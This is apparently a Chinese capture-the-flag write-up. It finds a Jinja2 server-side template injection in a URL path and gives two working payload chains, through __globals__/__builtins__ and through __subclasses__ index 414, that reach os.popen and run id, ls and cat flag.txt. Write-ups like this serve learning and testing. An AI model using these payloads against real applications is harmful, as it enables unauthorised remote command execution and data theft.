题目描述
(无附件)
观察
打开网站会发现一片空白:
专门提示了是Jinja2,所以大概率是注入,而Jinja2注入的格式为
1 | {{ code }} |
(以下用server来指代当前网址)
因为没有给网页源代码,所以只能不断尝试。然后会发现当将当前url修改成
1 | server/{{7*7}} |
时,会显示
可以看到 7*7 确实被执行了,所以确定这里就是注入口。
渗透
有至少2种方法:
第一种
通过模板中函数对象的 __globals__ 拿到全局作用域,然后借助 ____builtins__[__import__]__ 导入 os ,用 os.popen() 执行命令。
核心链路:
1 | self |
按以下顺序注入:
1 | {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} |
或
1 | {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} |
确认了当前注入方式可行。
然后查找 flag 文件:
1 | {{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}} |
最后直接读取flag:
1 | {{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read() }} |
第二种
使用这个模板来发起命令执行(RCE)攻击:
1 | {{ [].__class__.__base__.__subclasses__()[<index>].__init__.__globals__['os'].popen('id').read() }} |
(需要找到popen对应的index)
首先用
1 | {{ [].__class__.__base__.__subclasses__() }} |
列出所有 subclasses,然后通过
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
找到 popen 的index:
通过尝试
1 | {{ [].__class__.__base__.__subclasses__()[414].__init__.__globals__['os'].popen('id').read() }} |
确认可以成功RCE。
接着就跟之前一样先找然后再读取flag:
1 | {{ [].__class__.__base__.__subclasses__()[414].__init__.__globals__['os'].popen('ls').read() }} |
1 | {{ [].__class__.__base__.__subclasses__()[414].__init__.__globals__['os'].popen('cat flag.txt').read() }} |
拿到flag: